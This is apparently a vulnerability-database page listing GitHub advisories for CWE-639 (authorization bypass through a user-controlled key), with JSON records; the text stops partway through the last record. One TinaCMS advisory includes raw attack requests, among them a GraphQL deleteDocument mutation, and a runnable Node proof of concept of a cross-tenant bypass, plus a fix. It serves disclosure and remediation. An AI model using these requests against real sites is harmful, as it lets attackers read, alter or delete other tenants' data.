Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

5348 vulnerabilities reference this CWE, most recent first.

GHSA-G675-F5V2-69HX

Vulnerability from github – Published: 2026-09-26 15:31 – Updated: 2026-09-26 15:31
VLAI
Details

capgo through 12.128.2 contains an insecure direct object reference vulnerability in the PUT /app/:appId endpoint that accepts attacker-controlled icon storage paths. Authenticated users can supply arbitrary paths in the private images bucket and obtain service-role-signed URLs valid for 7 days to read cross-tenant objects including user avatars, organization logos, and app icons without authorization.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-100626"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-26T14:16:43Z",
    "severity": "MODERATE"
  },
  "details": "capgo through 12.128.2 contains an insecure direct object reference vulnerability in the PUT /app/:appId endpoint that accepts attacker-controlled icon storage paths. Authenticated users can supply arbitrary paths in the private images bucket and obtain service-role-signed URLs valid for 7 days to read cross-tenant objects including user avatars, organization logos, and app icons without authorization.",
  "id": "GHSA-g675-f5v2-69hx",
  "modified": "2026-09-26T15:31:15Z",
  "published": "2026-09-26T15:31:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Cap-go/capgo.app/security/advisories/GHSA-84xq-4rv7-p252"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100626"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/capgo-through-12.128.2-idor-via-put-app-icon-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G67F-HH8J-9CF2

Vulnerability from github – Published: 2025-02-22 06:30 – Updated: 2025-02-22 06:30
VLAI
Details

The WP Job Portal – A Complete Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.2.8 via the deleteUserPhoto() function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to remove profile photos from users accounts. Please note that this does not officially delete the file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-22T04:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The WP Job Portal \u2013 A Complete Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.2.8 via the deleteUserPhoto() function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to remove profile photos from users accounts. Please note that this does not officially delete the file.",
  "id": "GHSA-g67f-hh8j-9cf2",
  "modified": "2025-02-22T06:30:33Z",
  "published": "2025-02-22T06:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13873"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3242653/wp-job-portal/tags/2.2.9/includes/classes/uploads.php?old=3238353\u0026old_path=wp-job-portal%2Ftags%2F2.2.8%2Fincludes%2Fclasses%2Fuploads.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5fdba3c5-382e-4d2b-83d8-0e0cebf2e63c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G68C-WMXR-X3RH

Vulnerability from github – Published: 2026-08-10 21:32 – Updated: 2026-09-21 12:32
VLAI
Details

A flaw was found in Data Science Pipelines. A restricted user, or tenant, can exploit an improper authorization vulnerability in the setDefaultServiceAccount function. By specifying a more privileged ServiceAccount (SA) during a CreateRun request, an attacker can bypass authorization checks. This allows the tenant to run their containers with elevated privileges, potentially leading to the disclosure of sensitive information (secrets) and the ability to execute commands within other users' pods.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-18620"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-10T21:17:20Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in Data Science Pipelines. A restricted user, or tenant, can exploit an improper authorization vulnerability in the setDefaultServiceAccount function. By specifying a more privileged ServiceAccount (SA) during a CreateRun request, an attacker can bypass authorization checks. This allows the tenant to run their containers with elevated privileges, potentially leading to the disclosure of sensitive information (secrets) and the ability to execute commands within other users\u0027 pods.",
  "id": "GHSA-g68c-wmxr-x3rh",
  "modified": "2026-09-21T12:32:33Z",
  "published": "2026-08-10T21:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18620"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:53261"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:53262"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:53263"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60367"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60520"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:65126"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-18620"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510320"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G6C6-8RRM-QRMR

Vulnerability from github – Published: 2024-12-14 06:30 – Updated: 2024-12-14 06:30
VLAI
Details

The Get Post Content Shortcode plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 0.4 via the 'post-content' shortcode due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the content of password-protected, private, draft, and pending posts.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-12447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-14T05:15:10Z",
    "severity": "MODERATE"
  },
  "details": "The Get Post Content Shortcode plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 0.4 via the \u0027post-content\u0027 shortcode due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the content of password-protected, private, draft, and pending posts.",
  "id": "GHSA-g6c6-8rrm-qrmr",
  "modified": "2024-12-14T06:30:48Z",
  "published": "2024-12-14T06:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12447"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/get-post-content-shortcode/trunk/get-post-content-shortcode.php#L106"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c2b92091-e615-484f-b402-2e793eed214d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G6GJ-WMJ4-88PR

Vulnerability from github – Published: 2026-07-10 21:32 – Updated: 2026-07-10 21:32
VLAI
Details

Authorization bypass through User-Controlled key vulnerability in Teracity Software Technologies Inc. TeraMIS allows Privilege Abuse.

This issue affects TeraMIS: from V03.26.01.14 through 30.04.2026.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-6212"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T19:17:27Z",
    "severity": "HIGH"
  },
  "details": "Authorization bypass through User-Controlled key vulnerability in Teracity Software Technologies Inc. TeraMIS allows Privilege Abuse.\n\nThis issue affects TeraMIS: from V03.26.01.14 through 30.04.2026.",
  "id": "GHSA-g6gj-wmj4-88pr",
  "modified": "2026-07-10T21:32:32Z",
  "published": "2026-07-10T21:32:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6212"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0528"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G6X4-57HP-J4XM

Vulnerability from github – Published: 2022-11-15 12:00 – Updated: 2022-11-21 23:49
VLAI
Summary
Authorization Bypass in Liferay Portal
Details

An Insecure direct object reference (IDOR) vulnerability in the Dynamic Data Mapping module in Liferay Portal 7.3.2 through 7.4.3.4, and Liferay DXP 7.3 before update 4, and 7.4 GA allows remote authenticated users to view and access form entries via the formInstanceRecordId parameter.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.portal.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.3.2"
            },
            {
              "fixed": "7.4.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-42129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-21T23:49:44Z",
    "nvd_published_at": "2022-11-15T02:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An Insecure direct object reference (IDOR) vulnerability in the Dynamic Data Mapping module in Liferay Portal 7.3.2 through 7.4.3.4, and Liferay DXP 7.3 before update 4, and 7.4 GA allows remote authenticated users to view and access form entries via the `formInstanceRecordId` parameter.",
  "id": "GHSA-g6x4-57hp-j4xm",
  "modified": "2022-11-21T23:49:44Z",
  "published": "2022-11-15T12:00:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42129"
    },
    {
      "type": "WEB",
      "url": "https://issues.liferay.com/browse/LPE-17448"
    },
    {
      "type": "WEB",
      "url": "https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/cve-2022-42129"
    },
    {
      "type": "WEB",
      "url": "http://liferay.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authorization Bypass in Liferay Portal"
}

GHSA-G74Q-6G2F-874X

Vulnerability from github – Published: 2026-09-17 14:59 – Updated: 2026-09-17 14:59
VLAI
Summary
Tina: [Broken Access Control] letting any TinaCloud user authorize against any self-hosted site
Details

Summary

@tinacms/auth's isAuthorized(req) decides authorization by validating the caller's bearer token against https://identity.tinajs.io/v2/apps/${req.query.clientID}/currentUser, where the clientID comes from the request and is never compared to the site's own configured TinaCloud app id. The function answers "is this token a verified user of whatever app the caller named?" instead of "is this token a verified user of THIS site?"

Any TinaCloud user can create their own free app, get a valid token for it, and send ?clientID=<their-own-app> plus Authorization: <their-own-token> to a victim self-hosted site. The victim's authorized callback runs const user = await isAuthorized(req); return user && user.verified, which returns true, and the victim authorizes the attacker.

The attacker holds no account on the victim and needs no victim interaction. With the media handlers this grants read, upload, and delete on the victim's media bucket. When the backend uses TinaCloudBackendAuthProvider() (the default the tinacms init wizard generates for TinaCloud auth), it grants full GraphQL read, write, and delete of the victim's content.

Affected code (confirmed at 5a6839f)

packages/@tinacms/auth/src/index.ts:71-88 reads the clientID from the request:

export const isAuthorized = async (req: NextApiRequest) => {
  const clientID = req.query.clientID;     // attacker-controlled
  const token = req.headers.authorization; // attacker-controlled
  if (typeof clientID === 'string' && typeof token === 'string') {
    return await isUserAuthorized({ clientID, token });
  }
  return undefined;
};

index.ts:16-43 sends that caller-chosen clientID straight to the identity server, and returns the user on 200:

const tinaCloudRes = await fetch(
  `https://identity.tinajs.io/v2/apps/${clientID}/currentUser`,
  { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET' }
);
if (tinaCloudRes.ok) { return await tinaCloudRes.json(); }

index.ts:118-135 (TinaCloudBackendAuthProvider) gates only on verified, which reflects the attacker's own email verification:

isAuthorized: async (req, _res) => {
  const user = await isAuthorized(req as NextApiRequest);
  if (user && user.verified) return { isAuthorized: true };
  return { isAuthorized: false, errorCode: 401, errorMessage: 'Unauthorized' };
},

Every media-store README wires the same gate (next-tinacms-cloudinary/README.md:113-122, identical in s3 and dos):

authorized: async (req, _res) => {
  if (process.env.NEXT_PUBLIC_USE_LOCAL_CLIENT === '1') return true;
  const user = await isAuthorized(req);
  return user && user.verified;   // no clientID === <this site's app> check
}

The bug is duplicated in next-tinacms-azure/src/auth.ts:34-51 (req.nextUrl.searchParams.get('clientID')). Downstream nothing pins the site's clientID: @tinacms/datalayer/src/backend/index.ts:201 gates on the boolean, and next-tinacms-cloudinary/src/handlers.ts:36 returns 401 only when the callback is false. The tinacms init TinaCloud path ships this by default (@tinacms/cli/.../prompts/authProvider.ts:17 -> TinaCloudBackendAuthProvider(), used in templates/tinaNextRoute.tsx:21-24 for every non-local deployment).

Steps to reproduce (real target)

Setup: attacker has one free TinaCloud account with one app (clientID = ATTACKER_APP, token T_attacker) and no victim account. Victim is any self-hosted TinaCMS site using @tinacms/auth.

Media bucket (read; the same gate covers POST upload and DELETE):

GET /api/cloudinary/media?clientID=ATTACKER_APP HTTP/1.1
Host: victim.example
Authorization: T_attacker

Content backend, when TinaCloudBackendAuthProvider is used:

POST /api/tina/gql?clientID=ATTACKER_APP HTTP/1.1
Host: victim.example
Authorization: T_attacker
Content-Type: application/json

{"query":"mutation($c:String!,$r:String!){deleteDocument(collection:$c,relativePath:$r){__typename}}","variables":{"c":"post","r":"hello.md"}}

Expected: 401/403 for a user with no access to victim.example. Actual: 200, because authorization is bound to the attacker-supplied clientID.

Proof of concept (self-contained, zero dependencies)

Save the file below as poc.js and run node poc.js (Node >= 18). It runs the package's own isAuthorized / isUserAuthorized (TypeScript types removed; the hard-coded identity.tinajs.io base read from an env var so it points at a local identity model) behind the verbatim media-store authorized callback. The identity model scopes tokens to apps correctly and is not itself vulnerable; the bug is that the victim lets the caller choose which app to validate against.

/**
 * Self-contained PoC — @tinacms/auth cross-tenant authorization bypass
 * Audited commit: 5a6839f95ca60d1b9f4032a3bed1ae4a338a4787 (@tinacms/auth 1.1.3)
 *
 * Zero dependencies. Run with:  node poc.js   (Node >= 18 for global fetch)
 *
 * The two functions below are copied from packages/@tinacms/auth/src/index.ts.
 * The ONLY changes are: TypeScript types removed, and the hard-coded
 * https://identity.tinajs.io base read from IDENTITY_BASE so it can point at the
 * local identity model. req.query.clientID, the currentUser call, and the
 * `user && user.verified` gate are byte-for-byte the original logic.
 */

const http = require('http');

const IDENTITY_PORT = 18099;
const VICTIM_PORT = 19090;
process.env.IDENTITY_BASE = `http://127.0.0.1:${IDENTITY_PORT}`;

/* ===== verbatim from @tinacms/auth/src/index.ts (types stripped) ===== */

const isUserAuthorized = async (args) => {
  const clientID = args.clientID;
  const token = args.token;
  try {
    const tinaCloudRes = await fetch(
      `${process.env.IDENTITY_BASE || 'https://identity.tinajs.io'}/v2/apps/${clientID}/currentUser`,
      {
        headers: new Headers({ 'Content-Type': 'application/json', authorization: token }),
        method: 'GET',
      }
    );
    if (tinaCloudRes.ok) {
      const user = await tinaCloudRes.json();
      return user;
    }
    return;
  } catch (e) {
    console.error(e);
    throw e;
  }
};

const isAuthorized = async (req) => {
  const clientID = req.query.clientID;       // <-- attacker-controlled
  const token = req.headers.authorization;   // <-- attacker-controlled
  if (typeof clientID === 'string' && typeof token === 'string') {
    return await isUserAuthorized({ clientID, token });
  }
  return undefined;
};

/* ===== identity model: a token grants access to the app its owner owns =====
   This is NOT the vulnerable part. It scopes tokens to apps correctly. The bug
   is that the victim lets the caller choose which app to validate against.     */

const TOKEN_FOR = {
  'victim-app': 'valid-token-for-victim-app',
  'attacker-app': 'valid-token-for-attacker-app',
};
const USER_FOR = {
  'victim-app': { id: 'u-victim', email: 'owner@victim.example', verified: true, role: 'admin' },
  'attacker-app': { id: 'u-attacker', email: 'attacker@evil.example', verified: true, role: 'admin' },
};
const identity = http.createServer((req, res) => {
  const m = req.url.match(/^\/v2\/apps\/([^/]+)\/currentUser$/);
  if (!m) { res.writeHead(404); return res.end('nf'); }
  const app = decodeURIComponent(m[1]);
  if (TOKEN_FOR[app] && req.headers['authorization'] === TOKEN_FOR[app]) {
    res.writeHead(200, { 'Content-Type': 'application/json' });
    return res.end(JSON.stringify(USER_FOR[app]));
  }
  res.writeHead(401, { 'Content-Type': 'application/json' });
  return res.end(JSON.stringify({ message: 'unauthorized for this app' }));
});

/* ===== victim site (own clientID = victim-app), verbatim media-store README callback ===== */

const authorized = async (req) => {
  const user = await isAuthorized(req);
  return user && user.verified;             // never checks req.query.clientID === victim-app
};
const victim = http.createServer(async (req, res) => {
  const u = new URL(req.url, `http://127.0.0.1:${VICTIM_PORT}`);
  req.query = Object.fromEntries(u.searchParams.entries());
  if (!u.pathname.startsWith('/api/cloudinary/media')) { res.writeHead(404); return res.end('nf'); }
  if (!(await authorized(req))) {
    res.writeHead(401, { 'Content-Type': 'application/json' });
    return res.end(JSON.stringify({ message: 'sorry this user is unauthorized' }));
  }
  res.writeHead(200, { 'Content-Type': 'application/json' });
  return res.end(JSON.stringify({ authorized: true, site: 'victim-app',
    media: ['victim/private/contract.pdf', 'victim/private/customers.csv'] }));
});

/* ===== driver ===== */

function call(clientID, token) {
  return new Promise((resolve) => {
    const r = http.request({ host: '127.0.0.1', port: VICTIM_PORT,
      path: `/api/cloudinary/media?clientID=${encodeURIComponent(clientID)}`,
      method: 'GET', headers: { authorization: token } }, (res) => {
      let b = ''; res.on('data', (c) => (b += c));
      res.on('end', () => resolve({ status: res.statusCode, body: b }));
    });
    r.on('error', (e) => resolve({ status: 0, body: String(e) })); r.end();
  });
}

(async () => {
  await new Promise((r) => identity.listen(IDENTITY_PORT, '127.0.0.1', r));
  await new Promise((r) => victim.listen(VICTIM_PORT, '127.0.0.1', r));

  const c1 = await call('victim-app', 'valid-token-for-victim-app');
  console.log('[CONTROL 1  legit victim user      ] clientID=victim-app   token=victim   ->', c1.status, c1.body);

  const c2 = await call('victim-app', 'valid-token-for-attacker-app');
  console.log('[CONTROL 2  attacker token, victim ] clientID=victim-app   token=attacker ->', c2.status, c2.body);

  const atk = await call('attacker-app', 'valid-token-for-attacker-app');
  console.log('[ATTACK     attacker own app+token ] clientID=attacker-app token=attacker ->', atk.status, atk.body);

  const bug = c1.status === 200 && c2.status === 401 && atk.status === 200;
  console.log('\nVERDICT:', bug
    ? 'VULNERABLE — attacker authorized on victim site with credentials only for their own app.'
    : 'NOT REPRODUCED');
  identity.close(); victim.close();
  process.exit(bug ? 0 : 1);
})();

Output:

[CONTROL 1  legit victim user      ] clientID=victim-app   token=victim   -> 200 {"authorized":true,"site":"victim-app","media":[...]}
[CONTROL 2  attacker token, victim ] clientID=victim-app   token=attacker -> 401 {"message":"sorry this user is unauthorized"}
[ATTACK     attacker own app+token ] clientID=attacker-app token=attacker -> 200 {"authorized":true,"site":"victim-app","media":[...]}

VERDICT: VULNERABLE - attacker authorized on victim site with credentials only for their own app.

CONTROL 1 (200) shows the identity model is faithful, not a blanket allow. CONTROL 2 (401) shows the attacker cannot reach the victim's app with their own token. ATTACK (200) shows that naming their own app id, which their own token matches, passes the victim's gate and returns the victim's private media.

I verified the full chain in source at the audited commit and reproduced the code logic deterministically with the PoC above. I did not run the end-to-end attack against production identity.tinajs.io with two real accounts and a live deployment; that step needs two real accounts and a deployment. The one assumption it rests on, that GET /v2/apps/<attacker-app>/currentUser with the attacker's own token returns 200 + verified:true, is the normal behavior of an app owner's own session.

Impact

An attacker with a free TinaCloud account reaches editor-level control of unrelated tenants:

  • Media handlers: list and read media, upload arbitrary objects (next-tinacms-dos writes ACL: public-read, usable to host malware or phishing under the victim's CDN), and delete media by key.
  • TinaCloudBackendAuthProvider backend: arbitrary GraphQL. Read every document, createDocument / updateDocument to deface or inject content that deploys to production, and deleteDocument to destroy content. The attacker scripts requests with their own token and clientID=<own app> against known TinaCMS self-hosted endpoints, so it scales across deployments.

Fix

Bind the decision to the site's own configured app id instead of the request value.

- export const isAuthorized = async (req: NextApiRequest) => {
-   const clientID = req.query.clientID;
-   const token = req.headers.authorization;
+ export const isAuthorized = async (req: NextApiRequest, expectedClientID?: string) => {
+   const requestClientID = req.query.clientID;
+   const token = req.headers.authorization;
+   const clientID = expectedClientID ?? process.env.NEXT_PUBLIC_TINA_CLIENT_ID;
+   if (expectedClientID && requestClientID && requestClientID !== expectedClientID) {
+     return undefined; // refuse a cross-tenant clientID
+   }
    if (typeof clientID === 'string' && typeof token === 'string') {
      return await isUserAuthorized({ clientID, token });
    }
    return undefined;
  };

Thread the site's configured clientID into TinaCloudBackendAuthProvider() and the media handler config, require isUserAuthorized to use it rather than req.query.clientID, apply the same change to next-tinacms-azure/src/auth.ts, and update the media-store READMEs so integrators stop reintroducing the request-driven clientID.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@tinacms/auth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 15.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "next-tinacms-azure"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "15.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63506"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T14:59:00Z",
    "nvd_published_at": "2026-09-16T21:17:13Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n \n`@tinacms/auth`\u0027s `isAuthorized(req)` decides authorization by validating the caller\u0027s bearer token against `https://identity.tinajs.io/v2/apps/${req.query.clientID}/currentUser`, where the `clientID` comes from the request and is never compared to the site\u0027s own configured TinaCloud app id. The function answers \"is this token a verified user of whatever app the caller named?\" instead of \"is this token a verified user of THIS site?\"\n \nAny TinaCloud user can create their own free app, get a valid token for it, and send `?clientID=\u003ctheir-own-app\u003e` plus `Authorization: \u003ctheir-own-token\u003e` to a victim self-hosted site. The victim\u0027s `authorized` callback runs `const user = await isAuthorized(req); return user \u0026\u0026 user.verified`, which returns `true`, and the victim authorizes the attacker.\n \nThe attacker holds no account on the victim and needs no victim interaction. With the media handlers this grants read, upload, and delete on the victim\u0027s media bucket. When the backend uses `TinaCloudBackendAuthProvider()` (the default the `tinacms init` wizard generates for TinaCloud auth), it grants full GraphQL read, write, and delete of the victim\u0027s content.\n\n## Affected code (confirmed at `5a6839f`)\n \n`packages/@tinacms/auth/src/index.ts:71-88` reads the `clientID` from the request:\n \n```ts\nexport const isAuthorized = async (req: NextApiRequest) =\u003e {\n  const clientID = req.query.clientID;     // attacker-controlled\n  const token = req.headers.authorization; // attacker-controlled\n  if (typeof clientID === \u0027string\u0027 \u0026\u0026 typeof token === \u0027string\u0027) {\n    return await isUserAuthorized({ clientID, token });\n  }\n  return undefined;\n};\n```\n \n`index.ts:16-43` sends that caller-chosen `clientID` straight to the identity server, and returns the user on `200`:\n \n```ts\nconst tinaCloudRes = await fetch(\n  `https://identity.tinajs.io/v2/apps/${clientID}/currentUser`,\n  { headers: new Headers({ \u0027Content-Type\u0027: \u0027application/json\u0027, authorization: token }), method: \u0027GET\u0027 }\n);\nif (tinaCloudRes.ok) { return await tinaCloudRes.json(); }\n```\n \n`index.ts:118-135` (`TinaCloudBackendAuthProvider`) gates only on `verified`, which reflects the attacker\u0027s own email verification:\n \n```ts\nisAuthorized: async (req, _res) =\u003e {\n  const user = await isAuthorized(req as NextApiRequest);\n  if (user \u0026\u0026 user.verified) return { isAuthorized: true };\n  return { isAuthorized: false, errorCode: 401, errorMessage: \u0027Unauthorized\u0027 };\n},\n```\n \nEvery media-store README wires the same gate (`next-tinacms-cloudinary/README.md:113-122`, identical in `s3` and `dos`):\n \n```ts\nauthorized: async (req, _res) =\u003e {\n  if (process.env.NEXT_PUBLIC_USE_LOCAL_CLIENT === \u00271\u0027) return true;\n  const user = await isAuthorized(req);\n  return user \u0026\u0026 user.verified;   // no clientID === \u003cthis site\u0027s app\u003e check\n}\n```\n \nThe bug is duplicated in `next-tinacms-azure/src/auth.ts:34-51` (`req.nextUrl.searchParams.get(\u0027clientID\u0027)`). Downstream nothing pins the site\u0027s `clientID`: `@tinacms/datalayer/src/backend/index.ts:201` gates on the boolean, and `next-tinacms-cloudinary/src/handlers.ts:36` returns 401 only when the callback is false. The `tinacms init` TinaCloud path ships this by default (`@tinacms/cli/.../prompts/authProvider.ts:17` -\u003e `TinaCloudBackendAuthProvider()`, used in `templates/tinaNextRoute.tsx:21-24` for every non-local deployment).\n \n## Steps to reproduce (real target)\n \n**Setup:** attacker has one free TinaCloud account with one app (`clientID = ATTACKER_APP`, token `T_attacker`) and no victim account. Victim is any self-hosted TinaCMS site using `@tinacms/auth`.\n \nMedia bucket (read; the same gate covers `POST` upload and `DELETE`):\n \n```\nGET /api/cloudinary/media?clientID=ATTACKER_APP HTTP/1.1\nHost: victim.example\nAuthorization: T_attacker\n```\n \nContent backend, when `TinaCloudBackendAuthProvider` is used:\n \n```\nPOST /api/tina/gql?clientID=ATTACKER_APP HTTP/1.1\nHost: victim.example\nAuthorization: T_attacker\nContent-Type: application/json\n \n{\"query\":\"mutation($c:String!,$r:String!){deleteDocument(collection:$c,relativePath:$r){__typename}}\",\"variables\":{\"c\":\"post\",\"r\":\"hello.md\"}}\n```\n \n**Expected:** 401/403 for a user with no access to `victim.example`.\n**Actual:** 200, because authorization is bound to the attacker-supplied `clientID`.\n \n## Proof of concept (self-contained, zero dependencies)\n \nSave the file below as `poc.js` and run `node poc.js` (Node \u003e= 18). It runs the package\u0027s own `isAuthorized` / `isUserAuthorized` (TypeScript types removed; the hard-coded `identity.tinajs.io` base read from an env var so it points at a local identity model) behind the verbatim media-store `authorized` callback. The identity model scopes tokens to apps correctly and is not itself vulnerable; the bug is that the victim lets the caller choose which app to validate against.\n \n```js\n/**\n * Self-contained PoC \u2014 @tinacms/auth cross-tenant authorization bypass\n * Audited commit: 5a6839f95ca60d1b9f4032a3bed1ae4a338a4787 (@tinacms/auth 1.1.3)\n *\n * Zero dependencies. Run with:  node poc.js   (Node \u003e= 18 for global fetch)\n *\n * The two functions below are copied from packages/@tinacms/auth/src/index.ts.\n * The ONLY changes are: TypeScript types removed, and the hard-coded\n * https://identity.tinajs.io base read from IDENTITY_BASE so it can point at the\n * local identity model. req.query.clientID, the currentUser call, and the\n * `user \u0026\u0026 user.verified` gate are byte-for-byte the original logic.\n */\n \nconst http = require(\u0027http\u0027);\n \nconst IDENTITY_PORT = 18099;\nconst VICTIM_PORT = 19090;\nprocess.env.IDENTITY_BASE = `http://127.0.0.1:${IDENTITY_PORT}`;\n \n/* ===== verbatim from @tinacms/auth/src/index.ts (types stripped) ===== */\n \nconst isUserAuthorized = async (args) =\u003e {\n  const clientID = args.clientID;\n  const token = args.token;\n  try {\n    const tinaCloudRes = await fetch(\n      `${process.env.IDENTITY_BASE || \u0027https://identity.tinajs.io\u0027}/v2/apps/${clientID}/currentUser`,\n      {\n        headers: new Headers({ \u0027Content-Type\u0027: \u0027application/json\u0027, authorization: token }),\n        method: \u0027GET\u0027,\n      }\n    );\n    if (tinaCloudRes.ok) {\n      const user = await tinaCloudRes.json();\n      return user;\n    }\n    return;\n  } catch (e) {\n    console.error(e);\n    throw e;\n  }\n};\n \nconst isAuthorized = async (req) =\u003e {\n  const clientID = req.query.clientID;       // \u003c-- attacker-controlled\n  const token = req.headers.authorization;   // \u003c-- attacker-controlled\n  if (typeof clientID === \u0027string\u0027 \u0026\u0026 typeof token === \u0027string\u0027) {\n    return await isUserAuthorized({ clientID, token });\n  }\n  return undefined;\n};\n \n/* ===== identity model: a token grants access to the app its owner owns =====\n   This is NOT the vulnerable part. It scopes tokens to apps correctly. The bug\n   is that the victim lets the caller choose which app to validate against.     */\n \nconst TOKEN_FOR = {\n  \u0027victim-app\u0027: \u0027valid-token-for-victim-app\u0027,\n  \u0027attacker-app\u0027: 